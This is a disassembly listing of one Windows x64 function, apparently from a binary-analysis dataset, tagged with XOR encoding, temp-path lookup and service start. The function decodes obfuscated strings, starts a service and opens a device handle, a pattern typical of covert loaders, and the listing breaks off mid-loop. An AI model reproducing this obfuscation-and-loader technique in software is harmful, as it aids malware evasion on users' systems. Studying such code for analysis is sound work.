Function at 0x14003e190
Capabilities:
Encode data using xor
Get common file path
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x250
vmovaps xmmword [rax - 0x28], xmm6
vmovaps xmmword [rax - 0x38], xmm7
vmovaps xmmword [rax - 0x48], xmm8
vmovaps xmmword [rax - 0x58], xmm9
vmovaps xmmword [rax - 0x68], xmm10
mov rax, qword [0x14006b060]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
xor esi, esi
vmovups ymm0, ymmword [0x1400611a0]
vmovups ymmword [rsp + 0x50], ymm0
movzx eax, word [0x1400611c0]
mov word [rsp + 0x70], ax
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, esi
vmovdqu xmm6, xmmword [0x140062000]
mov r15d, 4
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
mov r12d, 0x1f
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003e240
cmp r8d, 0x22
jge 0x14003e350
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14003e320
lea rcx, [rsp + 0x50]
vzeroupper
call fcn.1400036e0
lea rdx, [rsp + 0xe0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x14003f7ab
vmovsd xmm0, qword [0x1400610c0]
vmovsd qword [rsp + 0x40], xmm0
mov eax, dword [str.K_I_]
mov dword [rsp + 0x48], eax
mov r14d, 8
cmp byte [0x1400610cb], sil
je 0x14003e4b2
vmovdqu xmm9, xmmword [0x140062000]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f50]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov eax, dword [0x140061fe0]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [0x1400610c0]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x40], xmm0
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f50]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x44]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x44], xmm0
mov r8d, r14d
lea r9, [rsp + 0x48]
nop
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14003e480
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], rsi
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], sil
jne 0x14003e4e0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.140002d60
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x80], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x90], xmm1
lea rax, [rsp + 0xe0]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x14003e520
mov r8, rbx
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x80]
call fcn.140002d60
nop
lea rdx, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0x10
cmovae rdx, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xd0]
lea rcx, [rsp + 0x80]
call fcn.140002570
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xb8], rsi
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0xa0], ymm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x14003e5f0
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e5e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f997
vzeroupper
call fcn.14000ee30
vmovdqu xmm0, xmmword [0x140061e80]
vmovdqu xmmword [rsp + 0x90], xmm0
mov byte [rsp + 0x80], 0
mov rdi, qword [rsp + 0xb0]
lea rbx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0x10
cmovae rbx, qword [rsp + 0xa0]
vzeroupper
call fcn.14000e544
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140005c00
nop
lea rcx, [rsp + 0x50]
call fcn.140006630
movzx ebx, al
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14003e69e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e699
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f9a0
call fcn.14000ee30
test bl, bl
je 0x14003e6c1
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0x10
cmovae rcx, qword [rsp + 0xa0]
call fcn.14001cd88
lea rax, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0x10
cmovae rax, qword [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x48], rax
vmovups xmm0, xmmword [rsp + 0x40]
vmovdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.14003c690
test al, al
jne 0x14003e969
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
vmovups ymm0, ymmword [0x1400613e0]
vmovups ymmword [rsp + 0x50], ymm0
movzx ecx, word [0x140061400]
mov word [rsp + 0x70], cx
movzx ecx, byte [0x140061402]
mov byte [rsp + 0x72], cl
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, esi
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003e780
cmp r8d, 0x23
jge 0x14003e890
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x14003e860
vmovsd xmm0, qword [0x1400610c0]
vmovsd qword [rsp + 0x40], xmm0
mov eax, dword [str.K_I_]
mov dword [rsp + 0x48], eax
mov r8d, r10d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
vzeroupper
call fcn.1400036e0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x14003e901
inc rdx
mov rcx, qword [rsp + 0xa0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14003e8fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f9a6
call fcn.14000ee30
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x14003f93d
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e95f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f991
call fcn.14000ee30
jmp 0x14003f93d
mov ecx, esi
mov rax, rsi
lea rdx, [0x14006bd00]
nop word [rax + rax]
cmp rax, 0x136078
jae 0x14003f98b
mov byte [rax + rdx], 0
inc ecx
inc rax
cmp ecx, 0x136077
jb 0x14003e980
vmovups xmm0, xmmword [0x140061408]
vmovups xmmword [rsp + 0x80], xmm0
vmovsd xmm1, qword [0x140061418]
vmovsd qword [rsp + 0x90], xmm1
movzx eax, word [0x140061420]
mov word [rsp + 0x98], ax
cmp byte [0x140061421], 0
je 0x14003eb30
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, esi
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x84]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14003ea20
cmp r8d, 0x1a
jge 0x14003eb30
movsxd rax, r8d
lea r9, [rsp + 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14003eb00
lea rcx, [rsp + 0x80]
call fcn.1400036e0
lea rax, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0x10
cmovae rax, qword [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x48], rax
vmovups xmm0, xmmword [rsp + 0x40]
vmovdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.140040730
mov rcx, rax
mov qword [0x140fb4ac8], rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14003f565
vmovdqu xmm10, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm7, r15d
vmovdqu xmm8, xmmword [0x140061f50]
vmovd xmm9, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x14003ed45
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
vmovups ymm0, ymmword [0x140061270]
vmovups ymmword [rsp + 0x50], ymm0
mov ecx, dword [0x140061290]
mov dword [rsp + 0x70], ecx
movzx ecx, word [0x140061294]
mov word [rsp + 0x74], cx
mov r8d, esi
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm10
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm7
vpsrld xmm0, xmm4, xmm9
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm8
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm10
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm7
vpsrld xmm1, xmm4, xmm9
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm8
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003ec20
cmp r8d, 0x26
jge 0x14003ed30
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14003ed00
lea rcx, [rsp + 0x50]
mov edx, r10d
vzeroupper
call fcn.1400036e0
jmp 0x14003e8be
vmovups xmm0, xmmword [0x1400610d0]
vmovups xmmword [rsp + 0x80], xmm0
movzx eax, byte [0x1400610e0]
mov byte [rsp + 0x90], al
mov r8d, esi
lea rcx, [rsp + 0x84]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm10
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm7
vpsrld xmm0, xmm4, xmm9
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm8
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm10
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm7
vpsrld xmm1, xmm4, xmm9
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm8
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14003ed80
cmp r8d, 0x11
jge 0x14003ee90
movsxd rax, r8d
lea r9, [rsp + 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14003ee60
vmovsd xmm0, qword [0x1400610c0]
vmovsd qword [rsp + 0x40], xmm0
mov eax, dword [str.K_I_]
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x80]
call fcn.1400036e0
vmovsd xmm0, qword [str.lm_rohXNHKUO]
vmovsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140061200]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140061204]
mov word [rsp + 0x4c], ax
cmp byte [0x140061205], 0
je 0x14003eff2
vmovdqu xmm9, xmmword [0x140062000]
vmovd xmm8, r15d
vmovd xmm7, r12d
vmovdqu xmm5, xmmword [0x140061ed0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f50]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
mov eax, dword [0x140061fe0]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [str.lm_rohXNHKUO]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x40], xmm0
vmovdqu xmm5, xmmword [0x140061ee0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm9
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm9
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm7
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x140061f50]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, eax
vpaddb xmm2, xmm4, xmm0
vmovd xmm1, dword [rsp + 0x44]
vpxor xmm0, xmm2, xmm1
vmovd dword [rsp + 0x44], xmm0
lea r8, [rsp + 0x48]
nop
mov eax, 0x3521cfb3
mul r14d
mov eax, r14d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r14b
sub al, cl
add al, 0x30
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0xe
jl 0x14003efc0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r10, rax
mov qword [0x140fb4ac0], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14003f3d7
vmovups ymm0, ymmword [0x140061208]
vmovups ymmword [rsp + 0x50], ymm0
mov ecx, dword [0x140061228]
mov dword [rsp + 0x70], ecx
movzx ecx, byte [0x14006122c]
mov byte [rsp + 0x74], cl
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, esi
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003f090
cmp r8d, 0x25
jge 0x14003f1a0
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14003f170
lea rcx, [rsp + 0x50]
mov rdx, r10
vzeroupper
call fcn.1400036e0
mov eax, dword [0x140061368]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14006136c]
vmovups ymm0, ymmword [0x140061348]
mov word [rsp + 0x74], ax
vmovups ymmword [rsp + 0x50], ymm0
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, esi
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003f210
cmp r8d, 0x26
jge 0x14003f320
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
